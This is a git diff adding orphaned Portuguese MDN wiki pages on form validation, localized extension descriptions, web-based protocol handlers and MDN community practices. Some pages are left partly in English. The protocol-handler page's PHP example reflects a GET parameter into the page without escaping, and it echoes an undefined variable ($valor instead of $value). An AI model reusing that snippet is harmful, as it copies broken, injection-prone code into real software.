Adicionalmente, pode-se evitar a validação obrigatória especificando-se o atributo {{ htmlattrxref("novalidate", "form") }} no elemento {{ HTMLElement("form") }}, ou o atributo {{ htmlattrxref("formnovalidate", "button") }} no elemento {{ HTMLElement("button") }} e no elemento {{ HTMLElement("input") }} (quando {{ htmlattrxref("type", "input") }} é submit ou image). Estes atributos indicam que o formulário não será validado quando submetido.

+

API de validação de restrições

+

As seguintes propriedades e métodos do DOM relacionados à validação de restrições estão disponíveis nos scripts do lado do cliente:

+ +

{{ HTML5ArticleTOC() }}

diff --git "a/files/pt-pt/orphaned/localizar_descri\303\247\303\265es_de_extens\303\265es/index.html" "b/files/pt-pt/orphaned/localizar_descri\303\247\303\265es_de_extens\303\265es/index.html" new file mode 100644 index 0000000000..3dad673d0c --- /dev/null +++ "b/files/pt-pt/orphaned/localizar_descri\303\247\303\265es_de_extens\303\265es/index.html" @@ -0,0 +1,24 @@ +--- +title: Localizar descrições de extensões +slug: Localizar_descrições_de_extensões +tags: + - Extensões + - Localização +--- +

 

+ +

Por causa do bug 257155, desenvolvedores de extensões devem através de um processo especial, definir descrições localizadas na extensão para alvos de extensão baseados em um kit de ferramentas (Como o Firefox ou o Thunderbird).

+ + + +
extensions.EXTENSION_ID.description=LOCALIZED_DESCRIPTION
+ + + +
pref("extensions.EXTENSION_ID.description", "PATH_TO_LOCALIZATION_FILE");
diff --git a/files/pt-pt/orphaned/manipuladores_de_protocolo_web/index.html b/files/pt-pt/orphaned/manipuladores_de_protocolo_web/index.html new file mode 100644 index 0000000000..784696c1dc --- /dev/null +++ b/files/pt-pt/orphaned/manipuladores_de_protocolo_web/index.html @@ -0,0 +1,97 @@ +--- +title: Manipuladores de protocolo web +slug: Manipuladores_de_protocolo_web +tags: + - Firefox 3 +--- +

{{ Fx_minversion_header(3) }}

+

Visão geral

+

É comum encontrar páginas com links para recursos utilizando protocolos não-http. Um exemplo é o protocolo mailto:: +

+
<a href="mailto:webmaster@exemplo.com">Web Master</a>
+
+

Autores podem usar um link mailto: quando desejam fornecer uma maneira conveniente de enviar mensagens diretamente da página. Quando o link é ativado, o navegador deve lançar a aplicação padrão do sistema para manipular emails. Você pode pensar nisso como um manipulador de protocolos baseado no desktop. +

Manipuladores de protocolos baseados na web permitem que aplicações web também participem desse processo. Isso tem-se tornado mais importante à medida em que mais e mais tipos de aplicações tem migrado para a web. Na verdade, existem várias aplicações que manipulam mensagens baseadas na web que poderiam processar os links mailto. +

+

Registrando

+

Registrar uma aplicação web como manipulador de protocolos não é um processo difícil. Basicamente, a aplicação web deve utilizar o o método registerProtocolHandler() para registrar-se como manipulador em potencial para um determinado protocolo. Por exemplo: +

+
navigator.registerProtocolHandler("mailto",
+                                  "https://www.exemplo.com/?uri=%s",
+                                  "Correio de Exemplo");
+
+

Onde os parâmetros são: +

+ +

Quando um navegador executa esse código, ele deve pedir permissão ao usuário para registrar a aplicação como manipulador do protocolo. O Firefox exibe um prompt na barra de notificação: +

Image:mpw-notificacao.png +

{{ Note() }} +

+

Exemplo

+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
+<html>
+<head>
+  <title>Exemplo de manipulador de protocolo - Registro</title>
+  <script type="text/javascript">
+    navigator.registerProtocolHandler("falso",
+                                      "http://loremipsum.org/projetos/mpw.php?valor=%s",
+                                      "Falso Mail");
+  </script>
+</head>
+<body>
+  <h1>Exemplo de manipulador de protocolo</h1>
+  <p>Esta página instalará um manipulador de protocolos para o protocolo <code>falso:</code>.</p>
+</body>
+</html>
+
+

Ativando

+

Agora, sempre que o usuário ativar um link que utiliza o protocolo registrado, o navegador direcionará a ação para a URL fornecida pela aplicação registrada. O Firefox irá, por padrão, perguntar ao usuário antes de executar a ação. +

Image:mpw-executar.png +

+

Exemplo

+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
+<html>
+<head>
+  <title>Exemplo de manipulador de protocolo - Teste</title>
+</head>
+<body>
+  <p>Ei, você já viu <a href="falso:URL%20de%20exemplo">isso</a> antes?</p>
+</body>
+</html>
+
+

Manipulando

+

A próxima fase é manipular a ação. O navegador extrai o valor do atributo href do link ativado, combina esse valor com a URL fornecida pelo manipulador durante o registro e executa um HTTP GET na URL. Assim, usando os exemplos acima, o navegador executaria um GET na seguinte URL: +

+
http://loremipsum.org/projetos/mpw.php?valor=falso:URL%20de%20exemplo
+
+

Programas no servidor podem extrair os parâmetros e executar a ação desejada. +

{{ Note("o valor inteiro do atributo href é passado ao programa do servidor. Isso significa que o programa no servidor deverá separar o protocolo dos dados.") }} +

+

Exemplo

+
<?php
+$value = "";
+if ( isset ( $_GET["valor"] ) ) {
+  $value = $_GET["valor"];
+}
+?>
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
+<html>
+<head>
+    <title>Exemplo de manipulador de protocolo</title>
+</head>
+<body>
+  <h1>Exemplo de manipulador de protocolo - Manipulador</h1>
+  <p>Esta página é chamada ao manipular uma ação do protocolo <code>falso:</code>. Dados enviados:</p>
+  <textarea>
+<?php echo(urldecode($valor)) ?>
+  </textarea>
+</body>
+</html>
+
+

Categorias +

Interwiki Language Links +

{{ languages( { "en": "en/Web-based_protocol_handlers", "fr": "fr/Gestionnaires_de_protocoles_web", "ja": "ja/Web-based_protocol_handlers", "pl": "pl/Funkcje_obs\u0142ugi_protoko\u0142\u00f3w_przez_aplikacje_internetowe" } ) }} diff --git a/files/pt-pt/orphaned/mdn/community/conversations/index.html b/files/pt-pt/orphaned/mdn/community/conversations/index.html new file mode 100644 index 0000000000..2112b63562 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/community/conversations/index.html @@ -0,0 +1,58 @@ +--- +title: Conversações da comunidade MDN +slug: MDN/Comunidade/Conversações +tags: + - Comunidade + - Guia(2) + - MDN Meta +translation_of: MDN/Community/Conversations +--- +
{{MDNSidebar}}

O "trabalho" da MDN ocorre no site da MDN, mas a "comunidade" também produz através da discussão (assíncrona), conversação on-line (síncrona) e encontros.

+ +

Discussões assíncronas

+ +

Para partilhar a informação e ter discussões em curso, a MDN tem a sua própria categoria ("MDN") , no fórum da Mozilla Discourse. Utilize esta categoria para todos os tópicos relacionados com a MDN, incluindo a criação de conteúdo da documentação, tradução, e manutenção; desenvolvimento da plataforma MDN; planeamento, definição de metas, e acompanhamento do progresso.

+ + + +

Arquivos históricos

+ +

Antes de junho de 2017, as discussões relacionadas com a MDN ocorriam nas listas de endereços que eram acedidas e arquivadas com os grupos Google. Se desejar pesquisar essas discussões anteriores, pode consultar os grupos Google correspondentes às listas de endereços antigas. (Sim, nós sabemos que esses nomes são sobrepostos e confusos. Acidente histórico. Desculpe por isso.)

+ +
+
mozilla.dev.mdc a.k.a. dev-mdc
+
Esta lista era para discussões sobre conteúdo de documentação na MDN.
+
mozilla.dev.mdn a.k.a. dev-mdn
+
Esta lista era sobre o trabalho de desenvolvimento na plataforma subjacente Kuma da MDN.
+
mozilla.mdn a.k.a. mdn@
+
Este fórum era para discussões de alto nível de planeamento e priorização, para o site da Web da MDN e outras iniciativas relacionadas.
+
+ +

 

+ +

Conversação no IRC

+ +

Internet Relay Chat (IRC) is our preferred method for day-to-day chat and real-time discussions among community members. We use a few channels on the server irc.mozilla.org for discussions related to MDN.

+ +
+
#mdn
+
This channel is our primary channel for discussing the content of MDN. We talk about writing, organization of content, and so on. We also have "water cooler" conversations here—it's a way our community can keep in touch and just hang out. This is also the place to talk about other aspects of MDN (other than development of the platform), such as Demo Studio, profiles, and so on.
+
#mdndev
+
This channel is where our development team—the people that write the code that makes MDN work—hangs out and discusses their day-to-day work. You're welcome to join in and either participate in the development or simply ask questions about issues you see with the software.
+
+ +

Estes canais são mais prováveis ​​de estarem ativos durante a semana na América do Norte.

+ +

You may want to learn more about IRC (EN) and use an installable IRC client such as ChatZilla (PT). It is implemented as a Firefox add-on, which makes it quick and easy to install and use. If you're not familiar with IRC, an easy way to join is using a web-based IRC client such as Scrollback, which is pre-configured with the mdn and mdndev channels.

+ +

Junte-se aos nossos encontros (e outros eventos)

+ +

A equipa da MDN realiza vários encontros regulares abertos para a comunidade MDN. Consulte a página de Encontros da MDN na wiki da Mozilla para obter detalhes dos agendamentos, agendas e notas, e informação sobre como participar.

+ +

Consulte o calendário de Eventos da MDN (EN) para estes e outros encontros, local de encontros, e outros eventos.

+ +

Se vir um encontro que ocorre no canal "mdn", no nosso sistema de videoconferência Vidyo, pode juntar-se à conversação na Web.

diff --git a/files/pt-pt/orphaned/mdn/community/doc_sprints/index.html b/files/pt-pt/orphaned/mdn/community/doc_sprints/index.html new file mode 100644 index 0000000000..fcfaac9236 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/community/doc_sprints/index.html @@ -0,0 +1,125 @@ +--- +title: Doc sprints +slug: MDN/Comunidade/Doc_sprints +tags: + - Comunidade + - Guía + - Metadados MDN +translation_of: MDN/Community/Doc_sprints +--- +
{{MDNSidebar}}
+ +

{{ draft() }}

+ +
+

Nota: a comunidade da MDN realizou frequentemente sprints de documentação durante o período de 2010 a 2013. A partir de 2014, estes eventos foram ampliados para os eventos "Hack na MDN" que incluem hacking de código, bem como projetos de documentação. A maioria dos conselhos abaixo aplicam-se igualmente aos sprints de "Hack" e sprints de documentação.

+
+ +

Este é um guia para organizar um sprint de documentação. Este contém conselhos e dicas de pessoas que organizaram os sprints de documentos, para ajudá-lo a organizar um também. Este guia também se baseia nas idéias do livroFLOSS Manuals Book Sprints.

+ +

O que é um sprint de documento?

+ +

A doc sprint is a short period when a group of people come together, virtually or actually, to collaborate on writing documentation on a given topic or related topics.

+ +

Tipos de sprints

+ +

Sprints can be virtual or in-person, or some combination. For a virtual sprint, everyone participates from wherever they happen to be located, communicating solely through mediated channels. For an in-person sprint, participants gather in the same location for the duration of the sprint, so that they can communicate face-to-face. Hybrid sprints can be mostly-in-person with some remote participants, or mostly-virtual with some local gatherings. In-person sprints require more logistical planning, to secure a meeting location, to get everybody there, and to house and feed them during the sprint.

+ +

Another way to categorize sprints is by topical focus. For example, a sprint might focus on a particular subject area, such as Web development, or translation into a particular language.

+ +

Planear um sprint

+ +

Determinar os objetivos

+ +

Have a clear idea of what the goals are for the sprint, for both content and community. This helps drive your planning of lower-level details.

+ + + +

Decidir o tipo e âmbito

+ +

Based on your goals, decide on the type of sprint (virtual, in-person, or combination) and the scope (what participants will focus on).

+ +

For example, if you want to attract new community members, a local in-person sprint would be a good choice, because no travel is involved, but participants get to meet each other. If you want to focus on a specific subject area, where the content contributors are geographically distributed, and already know each other, then a virtual sprint may make sense.

+ +

Escolher datas e horas

+ +

For in-person sprints that require travel, we've found that three days (such as two weekend days and a weekday) is enough time to get some significant work done, without taking too much time away from everyone's normal lives. For public, local, in-person sprints, one day is the most you can expect most people to commit. For virtual sprints, we typically run for two days: a weekday and a weekend day. As an alternative example, in the past there has been mini-sprint for writing and translating docs, every Wednesday evening in the Mozilla Paris office; it was primarily in-person for locals, but also got remote participation from Montreal (where it was at lunch time).

+ +

Attaching a sprint to the end of a conference that everyone attended worked well; trying to run a sprint during a conference that everyone attended did not work so well. Make sure that participants know about the sprint when they make their conference plans, so that they allow extra days for the sprint.

+ +

Consider the time zones that virtual participants are in; be sure that you allow enough working time in each time zone, and have some overlap when multiple zones (such as Europe and Americas, or Americas and Asia) are awake. However, it's just reality that no one time is good for everyone everywhere.

+ +

For virtual sprints, the dates can be set as little as 2-3 weeks in advance. For in-person sprints, you need to decide further in advance, in order to allow time for people to decide and make travel arrangements.

+ +

Promoter o sprint

+ +

You can make the sprint open, and invite the world, but you should have a few key people that you know for sure will participate. Work with them when selecting dates, to ensure that they are available during the chosen dates. If the sprint is not open, then you need only extend invitations; make sure that each invitation is personal, explaining why that person has been specificallly invited.

+ +

For public sprints, identify existing groups that have an interest in the topic, for example: local Web developer meetup groups for a local in-person sprint. Send an announcement through whatever channel is appropriate for that group. Be sure to provide a link to a web page with more details, and include a call-to-action for people to sign up for the sprint. Eventbrite and Lanyrd are two services that support sign-ups. For Mozilla developer events, we have found that about half the people who sign up actually show up.

+ +

Use the social media channels that are appropriate to reach your target attendees. We have found that for Web developers, this means Twitter, followed by Google Plus, more than Facebook or LinkedIn. However, popular channels can vary geographically (such as Orkut in Brazil). Reach out to a few well-connected people who have a large following among your target audience, and ask them to re-share your posts.

+ +

Logística para sprints em pessoa

+ +

Logistics for in-person sprints are greater for longer sprints and those where sprinters travel to attend. A short or locals-only sprint need relatively little logistical support.

+ +

Orçamento e financiamento

+ +

You need to figure out how much the event is going to cost, and where the money is going to come from.

+ +

Costs to consider in your budget include:

+ + + +

Some of these costs can be self-funded by participants, meaning that they pay for their own costs. There are a variety of ways to save money, which are mentioned in the following sections.

+ +

It may be possible to get sponsorship from Mozilla to fund some of the costs of your event. It helps to have a clear focus for your event, and a specific plan and budget. If there is a Mozilla Rep in your area, work with them to request budget and swag through the Reps program. Otherwise, you can submit a developer events request in Bugzilla.

+ +
+
Ponto de encontro
+
There are lots of options for meeting space. If you are in a city with a Mozilla office, you can use the community space in that office. Elsewhere, options include meeting rooms in libraries, churches, coffee shops, or businesses where you have contacts. Many cities now have coworking spaces that rent their conference rooms for a reasonable fee.
+
Recursos
+
Be sure that your venue has good chairs and tables, and reliable power and Internet access. Sitting all day on a bad chair is not just uncomfortable; it can lead to injury. Make sure that the number of sprinters and their computers and devices does not overwhelm the power supply and available Internet bandwidth. Be generous (but not dangerous) with extension cords, and if necessary, international plug adapters. A projector for shared viewing can be very helpful. Whiteboards and sticky notes are great for brainstorming and planning.
+
Viagens
+
Travel is relevant only if the sprinters do not all live close to the sprint venue. The usual strategies for saving on travel apply, and are not specific to doc sprints.
+
Acomodação
+
Where sprinters stay should not be inconveniently far from the meeting venue. It can be cheaper (and possibly more fun) to split the cost of a vacation house or flat, rather than paying for individual hotel rooms. If you have a mix of visitors and (willing) locals, the visitors can stay in the homes of local community members.
+
Alimentação
+
Sprinters need to eat! Make arrangements for food during the sprint, and inform sprinters if certain meals will not be arranged. If the group is staying in a home, you can save money by buying and cooking food rather than going out to eat. Even if food is self-funded, it can reduce hassle to pitch into a common fund for food, rather than splitting every restaurant bill. If your venue allows, have snacks (some healthy and some not) available between meals.
+
Diversão
+
Make time for non-writing social activities. These can be informal, like going for a hike together, or more formal, like a tourist excursion. Going out for beer (at the end of the day, of course) is usually a winner. On the other hand, don't plan every hour of every day. Everybody needs some down time, especially introverts.
+
+ +

Durante o sprint

+ +

Planear o trabalho

+ +

 

+ +

Monitorizar tarefas

+ +

Have a way to track what tasks need to be worked on, who is doing what, and what has been completed. For MDN doc sprints, we use a wiki page for advance planning, and an etherpad for tracking work during the sprint.

+ +

Often, people want to help but don't know where to start, and deciding among many options takes too much mental effort. For any given participant, give them a couple of possible tasks ("you could do A, or B"); this simplifies their choice, without making them feel like they're being bossed around.

+ +

Colaboração

+ +

One of the benefits of in-person sprints is that people can work together in ways that they might not be able to when they're not in the same place, for example, by working out ideas together on a whiteboard or by brainstorming with sticky notes. Still, there are opportunities for collaboration and camaraderie in any type of sprint. Chatting via IRC is essential for virtual sprints, and still very helpful for in-person sprints (for example, for sharing links). For a greater sense of "virtual presence", consider using a video conferencing service, such as Google Hangout.

+ +

As an organizer, look for common interests among the participants and for ways that they can work together.

+ +

Celebrar realizações

+ +

Be sure to take time to celebrate accomplishments at the end of the sprint. This gives participants a better feeling than when the sprint just ends without any summary. If possible, have people "demo" what they have done, even if it is just showing a new article page.

+ +

Also, share the sprint accomplishments via a blog post, to celebrate publicly as well. This is important for any kind of sprint, but especially for virtual sprints, where the participants might not all be online at the official end of the sprint for a wrap-up session.

diff --git a/files/pt-pt/orphaned/mdn/community/index.html b/files/pt-pt/orphaned/mdn/community/index.html new file mode 100644 index 0000000000..1969fd94e1 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/community/index.html @@ -0,0 +1,56 @@ +--- +title: Aderir à Comunidade da MDN +slug: MDN/Comunidade +tags: + - Comunidade + - Guía + - Landing + - Metadados MDN +translation_of: MDN/Community +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/pt-PT/docs/MDN")}}
+ +
+

Os Documentos da Web da MDN é mais do que uma wiki:

+ +

É uma comunidade de programadores a trabalhar em conjunto para tornar a MDN num recurso marcante para os programadores que utilizam as tecnologias abertas da Web.

+
+ +

Nós adoraríamos se contribuísse para a MDN, mas nós ainda iríamos adorar mais se participasse na comunidade da MDN. Aqui tem como ligar-se, em três passos fáceis:

+ +
    +
  1. Criar uma conta na MDN.
  2. +
  3. Juntar-se às conversações.
  4. +
  5. Seguir o que está a acontecer.
  6. +
+ +

Como é que a comunidade funciona

+ +

O seguinte são mais artigos que descrevem a comunidade da MDN.

+ +
+
+
+
Regras da comunidade
+
Há várias funções dentro da comunidade da MDN que possuem responsabilidades específicas.
+
Doc sprints
+
Este é um guia para organizar um sprint de documentação. Este contém conselhos e dicas de pessoas que organizaram sprints de documentos, para ajudá-lo a organizar um também.
+
Seguir o que está a acontecer
+
A MDN é trazida para si pela comunidade da Rede de Desenvolviemtno da Mozilla. Aqui tem algumas maneiras, e assim nós partilhamos a informação sobre o que estamos a fazer.
+
+ +
+
+
+ +
+
+
Conversações da comunidade da MDN
+
O "trabalho" da MDN acontece no site da MDN, mas a "comunidade" também acontece através de discussões (assíncronas) e conversação e reuniões on-line (síncrono).
+
Trabalhar em comunidade
+
Uma parte importante da contribuição para a documentação da MDN em qualquer escala significativa é saber como trabalhar como parte da comunidade da MDN. Este artigo oferece dicas para ajudá-lo a aproveitar ao máximo as interações com os outros escritores e com as equipas de desenvolvimento.
+
+
+
diff --git a/files/pt-pt/orphaned/mdn/community/whats_happening/index.html b/files/pt-pt/orphaned/mdn/community/whats_happening/index.html new file mode 100644 index 0000000000..6f53451020 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/community/whats_happening/index.html @@ -0,0 +1,42 @@ +--- +title: Seguir o que está a acontecer +slug: MDN/Comunidade/O_que_está_a_acontecer +tags: + - Comunidade + - Guia(2) + - Metadados MDN + - Principiante +translation_of: MDN/Community/Whats_happening +--- +
{{MDNSidebar}}

MDN is brought to you by the Mozilla Developer Network community. Here are some ways to that we share information about what we're doing.

+ +

Blogues

+ +
+
Mozilla Hacks
+
News about and in-depth coverage of Web and Mozilla technologies and features.
+
Engaging Developers
+
Promoting activity and discussion amongst the community involved in MDN at Mozilla.
+
+ +

Emissões de ephemera

+ + + +

Estado das informações e painéis

+ +

The MDN documentation team maintains a Trello board on which our projects are tracked. This board is read-only but will let you see what's being worked on and what we hope to do soon, and may help you figure out where you can help. This article explains how this board is used.

+ +

In addtion, take a look at the Documentation status pages to see what's going on across the full breadth of MDN content. You'll be able to see what articles need to be written or updated, what topics need the most help, and much, much more.

+ +

Encontros da MDN

+ +

There are a number of regular meetings for tracking and sharing progress on various MDN-related projects and processes. These are described on the MDN meetings wiki page.

+ +

To get a general sense of what's happening, the best meeting to attend is the MDN Community meeting, which occurs every two weeks on Wednesdays, 10:00 US Pacific time (UTC-0800 October-March, UTC-0700 in March-October), in the #mdn IRC channel. See the MDN community meetings wiki page for agendas and notes from past meetings.

+ +

The Public MDN Events calendar contains MDN community meetings, doc sprints, and other MDN-related events.

diff --git a/files/pt-pt/orphaned/mdn/community/working_in_community/index.html b/files/pt-pt/orphaned/mdn/community/working_in_community/index.html new file mode 100644 index 0000000000..f2c9116d03 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/community/working_in_community/index.html @@ -0,0 +1,102 @@ +--- +title: Trabalhar em comunidade +slug: MDN/Comunidade/Trabalhar_em_comunidade +translation_of: MDN/Community/Working_in_community +--- +
{{MDNSidebar}}
+ +

TA major part of contributing to MDN documentation on any significant scale is knowing how to work as part of the MDN community. This article offers tips to help you make the most of your interactions with both other writers and with development teams.

+ +

Guias gerais de etiqueta

+ +

Here are some general guidelines for conduct when working in the Mozilla community.

+ + + +

Seja delicado

+ +

Always be tactful and respectful when communicating with others.

+ +

Politely pointing out mistakes

+ +

If your purpose in contacting someone is to ask them to do something differently, or to point out a mistake they've been making (especially if they repeatedly do it), start your message with a positive comment. This softens the blow, so to speak, and it demonstrates that you're trying to be helpful, rather than setting you up as the  bad guy.

+ +

For example, if a new contributor has been creating lots of pages without tags, and you'd like to point out this problem, your message to them might look like this (the stuff you'd need to change for each case us underlined):

+ +
+

Hi, MrBigglesworth, I've been noticing your contributions to the Wormhole API documentation, and it's fantastic to have your help! I particularly like the way you balanced your level of detail with readability. That said, though, you could make these articles even better and more helpful if you added the correct tags to the pages as you go.

+ +

See the MDN tagging guide (https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Tag) for details.

+ +

Thanks again, and I look forward to your future contributions!

+
+ +

Partilhar conhecimento

+ +

As you participate in the MDN project, it's useful to know what's going on, and to interact with other members of our community. By talking with others in our community, you can get—and share—ideas, status updates, and more. We also have tools and informational resources that can help you know what's being done, by whom.

+ +

Communication channels

+ +

There are several ways you can engage with community members (either developers or writers), each of which has some of its own particular rules of etiquette.

+ +

Bugzilla

+ +

When writing documentation to cover changes implemented as a result of a bug in Bugzilla, you'll often interact with people involved in those bugs. Be sure to keep the Bugzilla Etiquette guide in mind at all times!

+ +

Correio eletrónico

+ +

Sometimes, a private email exchange between you and one or more other people is the way to go, if you have their email address.

+ +
+

Note: As a general rule, if someone has posted their email address on documents about the technology you're documenting, has given you their email address personally, or generally has a well-known email address, email is an acceptable "first contact" approach. If you have to dig for it, you probably should try to get permission in IRC or a mailing list first, unless you've exhausted all other attempts at getting in touch.

+
+ +

Ferramentas de estado de conteúdo

+ +

We have several useful tools that provide information about the status of documentation content.

+ +
+
Revision dashboard
+
The revision dashboard provides a fantastic tool to review changes made to MDN content. You can see recent history, choose a range of time to view, and filter based on things like locale, contributor's name, and topic. Once you're looking at a set of revisions, you can view the changes made in each revision, quickly open the page, see a full history, or even revert the changes (if you have those privileges).
+
Documentation status overview
+
Our documentation status overview page provides a list of all the areas of MDN that have been configured for status tracking, with information about how many pages therein need different types of work done. Click through to a particular topic area to see detailed lists of content that needs work, such as pages that have no tags, or are tagged with indicators that certain types of work need to be done. You can even see lists of pages that haven't been updated in a long time and may be out of date, as well as a list of bugs that have been flagged as impacting the documentation in that area.
+
Documentation project plans
+
We have a number of writing projects that are in the planning stages, or are large and ongoing, for which we have written planning documents to help us keep track of what we need to get done.
+
MDN Taiga
+
The MDN staff writers use a tool called Taiga to manage current and future documentation projects. You can take a look to see what we're doing and how it's going, and you can see what projects we'd like to see happen soon. Some of those will be taken on by staff writers, but you should feel free to take one over if you like! For more information about the agile processes followed by the MDN team, see our Process page on the Mozilla wiki.
+
+ +

A comunidade de desenvolvimento

+ +

Possibly the most important relationships to develop and maintain, as a member of the MDN writing community, are those you develop and sustain with the developers. They create the software we're developing, but they're also the most useful source of information we have. It's crucial that we maintain good relations with developers—the more they like you, the more likely they are to answer your questions quickly, accurately, and thoroughly!

+ +

In addition, you represent the MDN writing community. Please help ensure we keep our excellent working relationship with the dev team by making every interaction they have with the writing team be a good one.

+ +

On a related note, a great way to find the right person to talk to is to look at the module owners lists.

+ +

A comunidade de escrita

+ +

The writing community is a large one. While the number of extremely frequent, or large-scale contributors is relatively small, there are many dozens or hundreds of people who contribute at least now and then. Fortunately, these are by and large awesome people with a genuine love of the Web, Mozilla, and/or documentation, and interacting with them is almost always pretty easy.

+ +

See the article Join the community for more information about the MDN community.

+ +

The most frequent place you'll directly interact with other writers is in the {{IRCLink("mdn")}} channel on IRC. This channel is specifically reserved for discussing documentation. For IRC-specific etiquette tips, see the Mozilla Support article "Getting Started with IRC." You'll also have discussions with us on the MDN discussion forum. In general, IRC tends to be used for quick, more in-person-like discussions, while the discussion forum is typically used for longer-duration conversation.

+ +

By keeping in mind the {{anch("General etiquette guidelines")}}, you'll find that usually things go very smoothly.

+ +

Consultar também

+ + diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html new file mode 100644 index 0000000000..ec68693a32 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html @@ -0,0 +1,52 @@ +--- +title: Como participar nos testes "beta" +slug: MDN/Contribute/Howto/Participar_testes_beta +tags: + - MDN Meta + - Metadados MDN +translation_of: MDN/Contribute/Howto/Be_a_beta_tester +--- +
{{MDNSidebar}}

De vez em quando, à medida que os programadores da plataforma Kuma da MDN fazem alterações no site, nós oferecemos acesso antecipado a essas novas funcionalidades aos membros que optaram por participar nos testes "beta". Como é típico com qualquer teste "beta", as funcionalidades podem não funcionar corretamente em algumas situações.

+ +

Participar nos testes "beta"

+ +
    +
  1. Depois de iniciar a sessão na MDN, clique no seu nome de utilizador na barra de navegação no topo.
    + Shows location of the user's profile link in the top navigation
    + This takes you to your profile page.
  2. +
  3. Clique no botão "Edit".
    + Shows location of the button to edit a user's profile (which may vary depending on window dimensions
    + This opens the profile page in edit mode.
  4. +
  5. Selecione a caixa para Beta tester.
    + Shows the location of the Beta Tester checkbox
  6. +
  7. Clique no botão "Publicar" no fim da página de perfil.
    + Shows the location of the Publish button on a user's profile page
  8. +
+ +

Cancelar participação nos testes "beta"

+ +
    +
  1. While logged in to MDN, click your user name in the top navigation bar. This takes you to your profile page.
  2. +
  3. Click the Edit button. This opens the profile page in edit mode.
  4. +
  5. Clear the checkbox for Beta tester.
  6. +
  7. Click the Publish button.
  8. +
+ +

Dê a sua opinião/comentário sobre os testes "beta"

+ +

There are two ways you can give feedback about a beta test:

+ + + +
    +
  1. Create an account on Bugzilla if you don't already have one.
  2. +
  3. Open a bug report in Bugzilla for MDN.
  4. +
  5. Include the word "beta" in the Summary field to help MDN developers filter and triage incoming bugs.
  6. +
  7. Fill out the bug report form to the best of your ability. Be as detailed as possible.
  8. +
  9. Click the Submit button.
  10. +
+ +

 

diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html new file mode 100644 index 0000000000..058456953e --- /dev/null +++ b/files/pt-pt/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html @@ -0,0 +1,41 @@ +--- +title: Como criar uma conta MDN +slug: MDN/Contribute/Howto/Criar_uma_conta_MDN +tags: + - Como + - Documentação + - Guía + - Metadados MDN + - Principiante +translation_of: MDN/Contribute/Howto/Create_an_MDN_account +--- +
{{MDNSidebar}}
+ +

Para editar conteúdo na MDN precisa de um perfil MDN. Não precisa de um perfil se só pretende ler e pesquisar documentos na MDN. Este guia irá ajudá-lo a configurar o seu perfil na MDN.

+ +
Porque é que a MDN precisa do meu endereço de e-mail?
+
+O seu endereço de e-mail é utilizado para a recuperação da conta e, se necessário, pelos administradores da MDN para o contactar sobre a sua conta ou atividade no site.
+
+Adicionalmente, pode registar-se para receber notificações (tais como, quando são alteradas páginas especificas) e mensagens (por exemplo, se optar por aderir à nossa equipa de testes beta, poderá receber mensagens sobre as novas funcionalidades que precisam de ser testadas).
+
+O seu endereço de e-mail nunca é exibido na MDN e será utilizado apenas de acordo com a nossa politica de privacidade (EN).
+ +
Se iniciou a sessão na MDN via GitHub, e utiliza um endereço de e-mail  "não responder" no GitHub, não irá receber mensagens (incluindo as notificações quando subecrever páginas) na MDN.
+ +
    +
  1. No topo de cada página na MDN irá encontrar um botão nomeado "Iniciar sessão". Clique com o seu rato (ou toque no mesmo, se estiver a utilizar um dispositivo móvel) para exibir uma lista de serviços de autenticação que nós suportamos para iniciar a sessão na MDN.
  2. +
  3. Selecione um serviço para iniciar a sessão. Atualmente, apenas está disponível o GitHub. Note que se selecionar o GitHub, será incluída uma hiperligação para o seu perfil do GitHub na página pública do seu perfil da MDN.
  4. +
  5. Siga os avisos do GitHub para entrar na sua conta MDN.
  6. +
  7. Assim que o serviço de autenticação volta para o seu MDN, ser-lhe-á pedido para inserir um nome de utilizador e um endereço de e-mail. O seu nome de utilizador será exibido publicamente para creditar o seu trabalho realizado. Não utilize o seu endereço de e-mail como o seu nome de utilizador.
  8. +
  9. Clique em Criar o meu perfil MDN.
  10. +
  11. Se o endereço de e-mail especificado no passo 4 não for o mesmo que utilizou no serviço de autenticação, por favor, verifique o seu e-mail e clique na hiperligação na mensagem de confirmação que nós lhe enviamos.
  12. +
+ +

E é tudo! Agora tem uma conta MDN, e pode editar as páginas imediatamente!

+ +

Pode clicar no seu nome no topo de qualquer página da MDN para ver o seu perfil público. Lá, pode clicar em Editar para efetuar alterações ou adições ao seu perfil.

+ +
+

Os novos nomes de utilizador não podem conter espaços ou o caráter "@". Lembre-se que o seu nome de utilizador será exibido publicamente para identificar o seu trabalho realizado!

+
diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/do_a_technical_review/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/do_a_technical_review/index.html new file mode 100644 index 0000000000..def53aa207 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/contribute/howto/do_a_technical_review/index.html @@ -0,0 +1,65 @@ +--- +title: Como efetuar uma revisão técnica +slug: MDN/Contribute/Howto/Como_efetuar_revisao_tecnica +tags: + - Como + - Documentação + - Guía + - Metadados MDN + - Revisão +translation_of: MDN/Contribute/Howto/Do_a_technical_review +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/MDN")}}
+ +

'Uma revisão Técnica' consiste em rever a exatidão técnica e a integridade de um artigo e corrigi-lo, se necessário. Se um escritor de um artigo quiser que outra pessoa verifique o conteúdo técnico de um artigo, o escritor marca a caixa de seleção "Revisão técnica" durante a edição. Muitas vezes, o escritor entra em contacto com um técnico específico para realizar a revisão técnica, mas qualquer pessoa com conhecimento técnico no assunto pode efetuar uma.

